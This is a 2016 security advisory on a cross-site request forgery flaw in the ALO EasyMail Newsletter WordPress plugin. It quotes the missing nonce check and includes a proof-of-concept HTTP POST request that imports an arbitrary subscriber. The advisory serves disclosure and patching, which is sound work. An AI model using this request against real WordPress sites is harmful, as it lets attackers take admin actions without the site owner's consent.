Advisory

Yorick Koster, July 2016

Cross-Site Request Forgery in ALO EasyMail Newsletter WordPress Plugin

OVE ID

OVE-20160724-0021

Abstract

It was discovered that the ALO EasyMail Newsletter WordPress Plugin is vulnerable to Cross-Site Request Forgery. Amongst others, this issue can be used to add/import arbitrary subscribers. In order to exploit this issue, the attacker has to lure/force a victim into opening a malicious website/link.

Tested versions

This issue was successfully tested on ALO EasyMail Newsletter WordPress Plugin version 2.9.2.

Fix

This issue is resolved in ALO EasyMail Newsletter version 2.9.3.

Introduction

ALO EasyMail Newsletter is a plugin for WordPress that allows to write and send newsletters, and to gather and manage the subscribers. It supports internationalization and multilanguage. It was discovered that the ALO EasyMail Newsletter WordPress Plugin is vulnerable to Cross-Site Request Forgery.

Details

A number of actions within ALO EasyMail Newsletter consist of two steps. The 'step one' action is protected against Cross-Site Request Forgery by means of the check_admin_referer() WordPress function.

<?php
/**
* Bulk action: Step #1/2
*/
if ( isset($_REQUEST['doaction_step1']) ) {
   check_admin_referer('alo-easymail_subscribers');

However the call to check_admin_referer() has been commented out for all 'step two' actions. Due to this it is possible for an attacker to perform a Cross-Site Request Forgery attack for all the 'step 2' actions.

/**
* Bulk action: Step #2/2
*/
if ( isset($_REQUEST['doaction_step2']) ) {
   //if($wp_version >= '2.6.5') check_admin_referer('alo-easymail_subscribers');

   
Amongst others, this issue can be used to add/import arbitrary subscribers. In order to exploit this issue, the attacker has to lure/force a victim into opening a malicious website/link.

Proof of concept

POST /wp-admin/edit.php?post_type=newsletter&page=alo-easymail%2Fpages%2Falo-easymail-admin-subscribers.php&doaction_step2=true&action=import HTTP/1.1
Host: <target>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: <session cookies>
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------17016644981835490787491067954
Content-Length: 645
   
-----------------------------17016644981835490787491067954
Content-Disposition: form-data; name="uploaded_csv"; filename="foo.csv"
Content-Type: text/plain
   
sumofpwn@securify.n;Summer of Pwnage;en
   
-----------------------------17016644981835490787491067954
Content-Disposition: form-data; name="post_type"
   
newsletter
-----------------------------17016644981835490787491067954
Content-Disposition: form-data; name="action"
   
import_step2
-----------------------------17016644981835490787491067954
Content-Disposition: form-data; name="doaction_step2"
   
Upload CSV file
-----------------------------17016644981835490787491067954--

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